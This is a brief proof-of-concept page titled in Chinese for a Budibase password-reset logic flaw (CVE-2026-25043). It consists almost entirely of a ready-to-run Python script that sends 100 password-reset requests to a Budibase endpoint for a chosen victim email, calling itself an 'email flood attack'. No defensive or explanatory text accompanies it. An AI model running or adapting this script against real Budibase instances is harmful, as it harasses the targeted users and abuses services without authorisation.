CVE-2026-25043 Budibase密码重置逻辑漏洞

import requests # Target configuration target_url = "http://vulnerable-budibase-instance.com/api/global/auth/password/reset/request" victim_email = "[email protected]" headers = { "Content-Type": "application/json", "User-Agent": "PoC-Scanner/1.0" } # Payload for the password reset request payload = { "email": victim_email } # Attacker loop to flood emails print(f"Starting email flood attack against {victim_email}...") try: for i in range(100): response = requests.post(target_url, json=payload, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Request {i+1}: Reset email sent successfully.") else: print(f"[-] Request {i+1}: Failed with status code {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}")